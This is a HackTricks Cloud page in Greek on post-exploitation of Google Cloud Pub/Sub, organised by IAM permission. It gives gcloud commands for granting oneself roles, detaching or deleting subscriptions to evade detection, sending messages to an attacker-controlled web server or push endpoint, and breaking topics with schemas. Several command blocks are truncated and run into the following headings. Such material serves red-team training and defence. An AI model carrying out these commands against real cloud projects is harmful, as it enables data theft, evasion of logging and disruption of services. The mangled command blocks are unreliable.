GCP - Pub/Sub Post Exploitation
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Pub/Sub
Για περισσότερες πληροφορίες σχετικά με το Pub/Sub ελέγξτε την παρακάτω σελίδα:
pubsub.topics.publish
Δημοσιεύει ένα μήνυμα σε ένα topic, χρήσιμο για αποστολή απροσδόκητων δεδομένων και την ενεργοποίηση απροσδόκητων λειτουργιών ή exploit vulnerabilities:
Δημοσίευση μηνύματος σε topic
```bash # Publish a message in a topic gcloud pubsub topics publishpubsub.topics.detachSubscription
Χρήσιμο για να αποτρέψετε μια subscription από το να λαμβάνει μηνύματα, ίσως για να αποφύγετε την ανίχνευση.
Αποσύνδεση subscription από topic
```bash gcloud pubsub topics detach-subscriptionpubsub.topics.delete
Χρήσιμο για να εμποδίσετε μια subscription να λαμβάνει μηνύματα, ενδεχομένως για να αποφύγετε τον εντοπισμό.
Είναι δυνατό να διαγράψετε ένα topic ακόμη και αν υπάρχουν subscriptions συνδεδεμένες σε αυτό.
Διαγραφή topic
```bash gcloud pubsub topics deletepubsub.topics.update
Χρησιμοποίησε αυτή την άδεια για να ενημερώσεις κάποια ρύθμιση του topic ώστε να το διαταράξεις, όπως --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key…
pubsub.topics.setIamPolicy
Χορήγησε στον εαυτό σου την άδεια να εκτελέσεις οποιαδήποτε από τις προηγούμενες επιθέσεις.
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)
Λάβετε όλα τα μηνύματα σε έναν web server:
Δημιουργία push subscription για λήψη μηνυμάτων
```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions createΔημιουργήστε μια subscription και χρησιμοποιήστε την για να pull messages:
Δημιουργήστε pull subscription και ανακτήστε messages
```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions createYou also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull
This command will wait for a message to be posted
</details>
### `pubsub.subscriptions.delete`
**Διαγραφή συνδρομής** θα μπορούσε να είναι χρήσιμη για να διαταράξει ένα σύστημα επεξεργασίας logs ή κάτι παρόμοιο:
<details>
<summary>Διαγραφή συνδρομής</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
Χρησιμοποιήστε αυτή την άδεια για να ενημερώσετε κάποια ρύθμιση ώστε τα μηνύματα να αποθηκεύονται σε ένα μέρος που μπορείτε να προσπελάσετε (URL, Big Query table, Bucket) ή απλώς για να το διαταράξετε.
Ενημέρωση endpoint του subscription
```bash gcloud pubsub subscriptions update --push-endpointpubsub.subscriptions.setIamPolicy
Δώσε στον εαυτό σου τα δικαιώματα που χρειάζονται για να εκτελέσεις οποιαδήποτε από τις προηγουμένως αναφερθείσες attacks.
pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)
Attack ένα schema σε ένα topic έτσι ώστε τα messages να μην το πληρούν και επομένως το topic να διαταράσσεται.
Αν δεν υπάρχουν schema ίσως χρειαστεί να δημιουργήσεις ένα.
Δημιούργησε αρχείο schema και επισύναψέ το σε topic
```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
Αυτό μπορεί να φαίνεται σαν ότι με τη διαγραφή ενός schema θα μπορείτε να στέλνετε μηνύματα που δεν συμμορφώνονται με το schema. Ωστόσο, επειδή το schema θα διαγραφεί, κανένα μήνυμα δεν θα εισέλθει πραγματικά στο topic. Οπότε αυτό είναι ΑΧΡΗΣΤΟ:
Διαγραφή schema (όχι χρήσιμη)
```bash gcloud pubsub schemas deletepubsub.schemas.setIamPolicy
Δώσε στον εαυτό σου τα δικαιώματα που απαιτούνται για να εκτελέσεις οποιαδήποτε από τις προηγουμένως αναφερθείσες επιθέσεις.
pubsub.snapshots.create, pubsub.snapshots.seek
Αυτό θα δημιουργήσει ένα snapshot όλων των unACKed μηνυμάτων και θα τα επιστρέψει στη συνδρομή. Δεν είναι πολύ χρήσιμο για έναν επιτιθέμενο αλλά εδώ είναι:
Δημιούργησε snapshot και κάνε seek σε αυτό
```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

